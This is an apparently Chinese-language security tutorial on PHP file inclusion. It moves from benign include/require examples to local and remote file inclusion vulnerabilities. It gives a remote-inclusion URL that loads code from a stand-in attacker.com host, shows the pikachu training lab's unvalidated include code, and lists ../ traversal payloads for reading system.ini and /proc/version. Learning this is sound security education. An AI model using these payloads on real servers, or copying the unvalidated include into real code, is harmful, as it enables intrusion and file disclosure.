文件包含
文件包含是一种较为常见技术,允许程序员在不同的脚本或程序中重用代码或调用文件
主要作用和用途:
代码重用:通过将通用函数或代码段放入单独的文件中,可以在多个脚本中包含这些文件,避免重复编写相同代码。
模块化设计:文件包含支持模块化编程,有助于将大型应用程序分解为更小、更易于管理的模块。
功能分离:将不同的功能实现分离到不同的文件中,使得代码结构更加清晰,便于维护和更新。
文件包含简单示例
使用include函数,在代码中引用html头部和尾部标签,实现网页的编写
index.php
<?php
// 包含头部文件
include "header.php";
// 页面的主要内容
echo "<h1>欢迎来到首页</h1>";
echo "<p>这是一个示例页面。</p>";
// 包含尾部文件
include "footer.php";
?>
html头部文件
header.php
<!DOCTYPE html>
<html>
<head>
<title>示例页面</title>
<meta charset="UTF-8">
<script src="script.js"></script>
</head>
<body>
html尾部文件
footer.php
</body>
</html>
PHP常见的文件包含函数
函数 | 用法 | 介绍 | 主要用途 |
---|---|---|---|
include() | include 'filename.php'; | 包含并执行指定文件。如果文件不存在,将产生警告,但脚本会继续执行。 | 用于包含那些可能会重复使用的代码文件,如配置文件、库文件等。 |
require() | require 'filename.php'; | 包含并执行指定文件。如果文件不存在,将产生错误,脚本会终止执行。 | 用于包含那些对脚本至关重要的文件,如初始化脚本。 |
include_once() | include_once 'filename.php'; | 如果文件已经被包含,则不会再次包含。执行效果与include()相同。 | 用于包含那些在整个脚本执行过程中只需要包含一次的文件。 |
require_once() | require_once 'filename.php'; | 如果文件已经被包含,则不会再次包含。执行效果与require()相同。 | 用于确保关键文件在整个脚本执行过程中只被加载一次。 |
require_all()* | require_all 'directory/'; | 不标准:递归包含指定目录下的所有PHP文件。具体实现可能因环境而异。 |
文件包含漏洞
原理
当网站引入了代码或程序,且并没有对来源进行严格的校验时,就可能产生文件包含漏洞
漏洞类型
1.本地文件包含:网站包含本地服务器文件
危害:敏感文件泄露
url示例:http://example.com/page.php?file=info.php
2.远程文件包含:网站包含远程服务器文件
危害:引用外部木马文件,服务器窃取
url示例:http://example.com/page.php?file=http://attacker.com/remote.php
攻击流程
<1.寻找可能存在该漏洞的网站,如url中携带[file,file=http,FileName]等参数的网站
<2.更改文件引用路径,尝试读取本地文件,或引用外部服务器文件
<3.尝试使用伪协议执行命令,或查找文件
漏洞实例
本地文件包含[pikachu_file_inclusion_local]源码讲解
源码解读
if(isset($_GET['submit']) && $_GET['filename']!=null){
$filename=$_GET['filename'];
include "include/$filename";
}
1.判断前端传递参数,中是否存在submit参数,并且filename参数值为非空
<1 使用isset函数检查变量是否存在且非空
<2 使用比较运算符 != 判断参数filename的值不为空
<3 使用 逻辑与 && 将上述两个条件表达式进行拼接
<4 条件表达式同为真(true),执行if内的代码块
2.创建变量filename接收前端参数filename的值
<1 创建变量filename接收前端filename的值
3.将其拼接进include路径下,并使用include进行包含
<1 将获取到的变量名拼接入,当前路径下的include文件夹路径下
<2 PHP解释器在执行include
语句时,解析字符串中的变量,并用变量的值进行替换
<3 如果文件存在,会进行读取并显示
攻击流程
1.寻找攻击点
fi_local.php?filename=file2.php&submit=%E6%8F%90%E4%BA%A4
更改不同选项提交,参数filename的值随打开不同的文件,进行切换
2.更改携带参数观察页面状态
此处显示报错,并回显得出信息。
<1>windows系统
<2> 网站目录:F:\php-study\WWW\pikachu\pikachu\vul\fileinclude\fi_local.php
3.读取系统文件,并在无报错回显情况下,查询信息
原理:(../)可以查询上级目录下内容,且如果多个连用时可以忽视目录层级进行文件查询
windows系统配置文件:../../../../../windows/system.ini
linux内核信息文件:../../../../../../../../../../../../proc/version
#如果没显示,尝试多写几层